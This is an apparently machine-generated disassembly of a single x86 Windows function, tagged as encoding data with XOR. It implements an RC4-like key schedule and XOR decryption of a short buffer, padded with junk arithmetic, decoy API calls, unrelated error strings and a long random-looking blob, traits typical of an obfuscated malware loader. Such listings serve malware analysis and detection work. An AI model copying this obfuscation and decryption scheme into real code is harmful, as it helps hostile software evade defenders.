Function at 0x656870b4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x17c
cmp byte [str.Machine_Type_Mismatch], 0
je 0x656870ee
mov dword [esp + 4], str.Finding_the_shim_engine_entry_failed_with_status_0x_08lx
mov eax, dword [0x656a8d44]
mov dword [esp], eax
call fcn.65690fb4
or dword [0x656a8d44], 0x11bdbed3
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
call fcn.65692978
mov edx, dword [0x656a8d44]
lea eax, [edx + 0x7310fafa]
mov dword [0x656a8d44], eax
xor eax, eax
cmp byte [eax + 0x656a9d80], 0
je 0x65687129
inc eax
cmp eax, 0x21c7
jne 0x65687106
sub edx, 0x771c0a70
mov dword [0x656a8d44], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, dword [0x656a8d44]
lea edi, [ebp - 0x164]
mov esi, 0x656ad074
sub eax, 0x152d26b9
xor eax, 0x1212c808
mov dword [0x656a8d44], eax
mov dword [esp], eax
call dword [sym.imp.USER32.dll_IsIconic]
push edx
xor eax, 0x9902199f
mov dword [0x656a8d44], eax
call fcn.65693328
mov ecx, 0xf
xor eax, eax
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x146]
mov esi, 0x656ad083
mov ecx, 0x2e
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x6568717c
add dword [0x656a8d44], 0x7a0a4fc0
xor esi, esi
xor ebx, ebx
mov eax, ebx
mov edi, 0x2d
xor edx, edx
mov cl, byte [ebp + ebx - 0x118]
div edi
mov byte [ebp - 0x169], cl
movzx eax, byte [ebp + edx - 0x146]
movzx edx, cl
mov dword [esp + 4], str.The_specified_plex_is_currently_regenerating.
mov dword [esp], str.Smartcard_logon_is_required_and_was_not_used.
add eax, edx
add eax, esi
movzx esi, al
call fcn.65692fc4
mov eax, dword [0x656a8d44]
xor eax, 0x6d87d2fa
sub eax, 0x9396dbd
mov dword [0x656a8d44], eax
mov dword [esp + 4], eax
mov dword [esp + 0xc], str.Built_in_WEBP_Codec
mov dword [esp + 8], str.An_invalid_allocation_instance_is_being_referenced.
mov dword [esp], str.Machine_Type_Mismatch
call fcn.65694650
mov al, byte [ebp + esi - 0x118]
mov cl, byte [ebp - 0x169]
mov byte [ebp + ebx - 0x118], al
inc ebx
imul eax, dword [0x656a8d44], 0xe0e4d44f
mov byte [ebp + esi - 0x118], cl
mov dword [0x656a8d44], eax
cmp ebx, 0x100
jne 0x65687199
xor edi, edi
xor esi, esi
xor ebx, ebx
inc ebx
xor eax, eax
movzx ebx, bl
cmp byte [eax + 0x656a9d80], 0
je 0x65687270
inc eax
cmp eax, 0x1328
jne 0x6568724e
imul eax, dword [0x656a8d44], 0xe89f656b
mov dword [0x656a8d44], eax
jmp 0x65687277
cmp eax, 0x10ab
jle 0x65687283
mov dword [esp], str.201112182559Z
call fcn.65690064
imul eax, dword [0x656a8d44], 0x60a0c7e4
sub eax, 0x314faaa9
mov dword [0x656a8d44], eax
mov dword [esp], str.Point_of_Service
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
mov dword [esp + 4], str.SdbGetTagFromTagID
mov eax, dword [0x656a8d44]
mov dword [esp], eax
call fcn.65690fb4
mov dl, byte [ebp + ebx - 0x118]
lea eax, [edx + esi]
movzx esi, al
mov eax, dword [0x656a8d44]
or eax, 0x56bb3127
imul ecx, eax, 0xef116310
mov dword [0x656a8d44], ecx
mov cl, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], cl
lea ecx, [ebp - 0x155]
mov byte [ebp + esi - 0x118], dl
add dl, byte [ebp + ebx - 0x118]
movzx edx, dl
mov dl, byte [ebp + edx - 0x118]
xor dl, byte [ebp + edi - 0x164]
mov byte [ebp + edi - 0x155], dl
inc edi
cmp edi, 0xf
jne 0x65687248
imul eax, eax, 0x63af8ff0
mov byte [ebp - 0x146], 0
add eax, 0x3efacc64
mov dword [0x656a8d44], eax
mov dword [esp + 0xc], 0xf
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x14c0
mov dword [esp], str.hbbK4HPj_7cevzWIT9GqAhkzTcF5kVu4Sfi8zLwCuVhIVVK1gjW2isGzD3iEkJ0hzsMxHvKMRMiaTyXO4XNOu6XjQHPUetuqbX8N5d2ssgDAKssLR6V5IjNeFl2SwrVJFwNzonAwrYH9DQBuXJdrV8YzOjWhh4xJ60VkPQl2a4wzF1W_BYhGxcmUx6fmI3NR32vVT3QGay8QQD4fsGTfV79Y9SYb4DXvDjNMxPeRvkD22JP44lHgQVNJ2TgpRIVM4JdJ_VejY6iiKr9BLBlMMol_43yMnSeGdVNF4pUGVlfY4BaqkF8RHyT2bjDbpnBFBxYJrauVanc4A57WMYgrJXWYQkW4N9hSkAUeqw2Ylj4VB1pieFX51ZcauSKDVFmcJcz1Dg_7oqxk0tlv_dT13psIQ2SAfRNnAUH7SaEtemq4esI4bocQoCcrKbjC3KYpiFh7EwMepz9aIBVTUrBUpW19hANlGIdaxBJoQubGZI_fjzYpZuPIN6L4kKcwNshxYjDeclQgAe_Ry00vJ7KrP7Jte_NSUaEPZDcYxKhvofbhaeRgUC6VJwVp_Z6NO5InSaCX3bAUOieJig3ipGNRzApBElhAFDkZGQJVM6kKN53Tdut8Xurd_zWxwF8EEdg8qZAv8mHSV5MuCIvdQeY37q6iIh1zazQ42Xd0BRv0LWFSPWgOtI29qfkkfzAwymUO4w8lIcg2G6dXDpHPvQaaXlJsc0jOhLxCV9dwlhoh7hSBThAq9rDGolxAvobOSUovubohH6baTc570qgfrzTEJgPj3tNsyedywZFnz2f4UvY_LQo5CZF60DayLfBN3o84hpuSMvmTjnX2MYK1SmM3Urv_6D8XNd4YKTE1SpeSs5ocNJsvBEWxxiRcfHjy0T2evspAlEQ2QljZd3Psv8z9tsziLLoywuvi6DMlu_CCDPQasEyfQgc5_MKdVY9OXdhyLa5FS_cjyQuqLKnDS_66bOrVsIMHkxCQmO8OU_EjRy9Oxx1BL_Io2zeNsNagsSZCiPv9nd2a1pGPMwqz_2YzCIo3nhsvRVmOL8W7SUm8Cq73ZTov44oqK05gV9OGitjCK6CKcbn1JQZixKS7MIW0gjNw2iTuBq1SlNcXd_hItaHBesL7CJB8jeyZ2vWJ7CCDXlUjH47W6HJa6Ry0G9PKsRtQD3rfR5araQ2JGvQoom_Cb_CqsIKl1N0F0K3GohYn1evDkAWPneuDuABQUvWMG7vs7bFB6sDhVT3R4hsw6jyUpLAxQpW0YSYQOTc_CKAcvRm_CvX6bwK8pCLMri5Ux_9qkCSNdlyD4VKhZv02EUZzrYZ6VFMYhNf2B7IM70pGkFD1evViewkG3OoPcPaMAKqrGb23b9YwWWYzbiMQjvnMlQuP3xn3F21Jblc9oufnMzrGttRJy23ncBoP94CctWwyMR9WvUyp2SUi36SF8paBE9dRTuya8uuD4TUlCLbnz9dqw_lGL4UVaRRqxzcE1nbNqvmeH4Au6ypmnLEJckHhU6ECMggGRY6Kith6mh6bS4AfhZsyeRCIzCBQax8Z2e7ER_pGCCIA2Djeb_Z46awVMuX12YsWykcGMuyrIxLPuyFMWyrN1nlVrxJO4kjF1zFVP53etdUJJcQykjxw5Ox9Tda86iS_WPL53d60QOPeZzpBZR_OW1neYkasPD0rhWNR6EMZuKrTPxF9ymX3XiZdk4u3ZRJFfNlCNpN2WBRzYalgOPqiiDv62dv6Ly279uea9U9txKn5wtrxcPQNMdFR2d8qX6LW69goLeLh6d61hByOMxPiPj79Q7I3_3jcFLFqEzgAkcdyDyxCMkDQZNtNa44Zdq95K5w4EUFyL01OfcI058PwzQU4X4FaqKO2XGgI67fn1RxO1udW3SWi0H0uqTwl3OllYwx1KDVd198zV2hwf0BZ7hLXp7uc5FY8skIbplz0RnqAWDsa6590X4PDgk3Ex30RhNYhV6xpFf234vgxbiIGbkLaqyARQJuDFFkxYnGC6oUzCsXPpcsOHrVct0pHrPEwDoFKbOUUIaNkXwplsAU7VS01M6gBD5aVBvoxh9o95mS503Oywz5TbDoOuBYJqDUrLsM3VAzoiBnejeVfNmxkO0_V4u3p5UyxQPk10GwTougnVMHvSckzeZUe5WGQh2qkvSMMSwClob7PvaWSYqN_Xp9Pf0KOndEkzMVbabOQFHL60W75RxqF_lgl1fBdTNhpp9KSOwid0jkVz6tGXBvuZdC9lThXW35z6LtVxv1Gokb5g5JXQOWXapv_8BsSXm2GDZYGz36O2XcEnLJ2esbdXHAmyo7WidiyxtvvLpQjVpVwdylzPWNUGCThaCUyZd9XBAZz4Ndso8e7uM1hT7SXC0iU6zxWemTNc4KOI2tI7U9JmniU4nRrXVMsYItiT5urZpPNICAhPU4pVFClud3pljZMBm8hZ_cqRqG2RRrvFDiLl9SSkRhjXkrfK9x7tEgLsr_QcBCflq0Ga854d5H0Egcfx7kQJx04UdCm_33NlEka7xCN7bhhRsAi4oJ3FEXjGyGvpnbQCWS6Zs_P0092qtI8OgvU3uQchmIH2kjgrkE2ZxEgZ4Ryf5xEiDUHJd8ZRmgtJm9_psoktVU5YnB1NXNM63dFTqsplqyQ5ReCfADk8cJV4evZe53lwXdbJ184KxHACIv7YLyprCu5mYzA6M2H4q3FgbnPtBDpyvCg5570fDk4xGf6Q7gZbY2Uc7Id01eblz2Bfjtnm4OEjvQL4Qm1vErdkStAW06um_c2He9HhKh206C8r_7HDjfNT6x5bVBuOxxFb112obtXxdfnd3xWuT0nvrRuC1HnyxVTkCVnp1fw0mZQ_rSrGBLnY6Dg3IVGWuFGQ7nznxYEszw3tigpLouPqMkHgzY2Sbk9GiTo2gKbqEv1eW6pzM6dyDpzsZLvSWxPI4W8JlGPoUIn76IESLvca7ADA7XAqNsSd_DQCEkF1e3yHTlg_uP1oYseICs9WKYsJrPn1_cYWtDWEmKtEWTIZR59GSD6vMIysOqQP4aCGKNUiSiSBpcGu4GBDcoK3L8tthXqIu6Y08ASVOE7mfkoU9RPVZa2yy971FxEYpOHznkOP3zQhamw6lHYykTg3L9CP3rCTMYlmUPjScdjcPJX4k_BMMmiRcCITfUGfKurfbeYoiN5CLH_v2sgIKXJlOYbAs6vFjwXo_txbVUucgr0jF6f2eZvuebK9ZxKCV70LhabghiANCfxCfvzZQb8Cemh6m4S2cUfSfSgA74q_ucttdp5OcjVCJ1QRBBZlM4bkQ8CyayOWkRRDFbOUnswownMmtcnspEbUz0a7CcypT5wEvIFdrUVh1yRucVaiGRezNgeQHQR6VxGKQFQm8y9_TT9hBU4YfsSDvlFNSClMu1SZ3YmQOeN6mzD2GpCFZrqW8tz2tQ4RBFNdJnCQJyZhN6WrcpbktRr2z3C7mQ5Yv_SaTwpJy0wtV888IXloHA3a9MrhdCWOciDdvjEwCZKnc24qVMYWyQB0CIP5C5Ixmm9NsbZRDo6IugnD0676csPfIcoRVSwJ8TJuuLQbeX3yLE5zgBiT9FALmOkoxMgwVkS9H2wfYs_wJ3T7UGmEyVFACLLRjrFLCgFFEsyzihUYALOP1L022DV8R2qRWuHaBNs7GY6OK9feNUEZUC54QeQs0b_lIZh1Z1UfV2RsJObSleqxyiwNBwayeTkOlYXIy_vT1lXFMVs6yesdtpzslG99XHxgbAK8LBLFw5hmoL76LdDRiMo_uP6F2lANVdjvJxpt095O6dcLTAZCPc5COiFBIrhyEC2VxPEbWTPy7sBeWE4W2PTmfFngt3NFlt1KrqqrRK0TQ8E07eBzGDVh5Ab1Db5VHeovzxXvz04RjtxVoDYkmeswyT96dmPdoxfDQNoK6G9_gFl1Bi_ZVxrb8QAQk4joxeQ4nPsoIDoMeKjKiMNRs4Tck8gg6zKL48rUMlT4sOztIeNF9N3y0xe6o9__CjEo4eXJGZSfMmWumAsW4nHYnRG
call fcn.6568bff8
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret